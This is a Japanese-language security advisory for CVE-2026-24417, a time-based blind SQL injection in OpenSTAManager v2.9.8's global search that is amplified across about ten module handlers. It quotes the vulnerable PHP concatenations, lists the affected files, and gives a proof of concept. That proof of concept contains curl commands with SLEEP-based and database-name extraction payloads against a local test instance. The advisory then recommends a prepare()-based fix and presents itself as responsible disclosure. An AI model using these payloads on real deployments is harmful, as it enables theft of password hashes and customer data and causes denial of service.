
CVE-2026-24417 - OpenSTAManager には、増幅型サービス拒否を伴う時間ベースのブラインドSQLインジェクションがあります。
| 項目 | 詳細 |
|---|
| CVE ID | CVE-2026-24417 |
| 深刻度 | HIGH |
| アドバイザリ | アドバイザリを表示 |
| 発見者 | Lukasz Rybak |
OpenSTAManager v2.9.8 の複数の検索モジュールに影響を及ぼす重大な時間ベースのブラインドSQLインジェクションの脆弱性により、認証済みの攻撃者が時間ベースのブール推論攻撃と 10 以上のモジュールにわたる増幅実行を通じて、パスワードハッシュ、顧客データ、財務記録などの機密データベースの内容を抽出できる可能性があります。
ステータス: ✅ 実インスタンスで確認・テスト済み (v2.9.8)
脆弱なパラメータ: term (GET)
影響を受けるエンドポイント: /ajax_search.php
影響を受けるモジュール: Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi
OpenSTAManager v2.9.8 には、グローバル検索機能に重大な時間ベースのブラインドSQLインジェクションの脆弱性が存在します。このアプリケーションは、複数のモジュール固有の検索ハンドラーで SQL LIKE 句に使用する前に term パラメータを適切にサニタイズできないため、攻撃者が任意の SQL コマンドを注入し、時間ベースのブール推論を通じて機密データを抽出できる可能性があります。
脆弱性の連鎖:
エントリポイント: /ajax_search.php(30〜31行目)
$term = get('term');
$term = str_replace('/', '\\/', $term);
$term パラメータは最小限のサニタイズ(フォワードスラッシュの置換のみ)しか行われません。
分配: /src/AJAX.php::search()(159〜161行目)
$files = self::find('ajax/search.php');
array_unshift($files, base_dir().'/ajax_search.php');
foreach ($files as $file) {
$module_results = self::getSearchResults($file, $term);
サニタイズされていない $term が、すべてのモジュール固有の検索ハンドラーに渡されます。
実行: /src/AJAX.php::getSearchResults()(373行目)
require $file;
各モジュールの search.php ファイルが、$term 変数をスコープに含めた状態でインクルードされます。
脆弱なSQLクエリ: 複数のモジュールが prepare() を使用せずに $term を直接連結しています
影響を受ける全ファイル(10以上の脆弱なインスタンス):
/modules/articoli/ajax/search.php - 51行目(主要な例)
foreach ($fields as $name => $value) {
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
}
$rs = $dbo->fetchArray($query);
影響: prepare() を使用しない直接連結により、完全なSQLインジェクションが可能になります。
/modules/ordini/ajax/search.php - 43、47行目
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
$query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
/modules/ddt/ajax/search.php - 43、47行目
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/fatture/ajax/search.php - 45、49行目
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/preventivi/ajax/search.php - 45、49行目
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/anagrafiche/ajax/search.php - 62、107、162行目
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/impianti/ajax/search.php - 46行目
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
適切にサニタイズされている(脆弱ではない)モジュール:
/modules/contratti/ajax/search.php - prepare() を正しく使用/modules/automezzi/ajax/search.php - prepare() を正しく使用注記: この脆弱性には増幅実行があり、1回の悪意のあるリクエストで全脆弱モジュールに対して同時にSQLインジェクションがトリガーされ、時間ベースの攻撃がリクエストごとに10回以上実行されて遅延が増幅されます。これにより、実動デモインスタンスで観察されたように504 Gateway Time-outエラーが発生します。

ステップ1: ログイン
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
ステップ2: 脆弱性の確認(時間ベースSLEEP)
# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# Result: real 72.29s
# Test with SLEEP(0) - should be fast
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# Result: real 0.30s

ステップ3: データ抽出 - データベース名
# Extract first character of database name (expected: 'o' from 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 170.32s
# Test with wrong character 'x' - should be fast
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 0m0.30s

影響を受けるユーザー: グローバル検索機能にアクセスできるすべての認証済みユーザー。
推奨される修正:
直接の $term 連結をすべて prepare() に置き換えてください:
修正前(脆弱):
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
修正後(修正済み):
$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');
この修正を影響を受けるすべてのファイルに適用してください:
/modules/articoli/ajax/search.php - 51行目/modules/ordini/ajax/search.php - 43、47、79行目/modules/ddt/ajax/search.php - 43、47、83行目/modules/fatture/ajax/search.php - 45、49、85行目/modules/preventivi/ajax/search.php - 45、49、83行目/modules/anagrafiche/ajax/search.php - 62、107、162行目/modules/impianti/ajax/search.php - 46行目このCVEは、調整された脆弱性開示の慣行に従って責任ある形で開示されました。ここで提供される情報は、教育および防御目的のみを目的としています。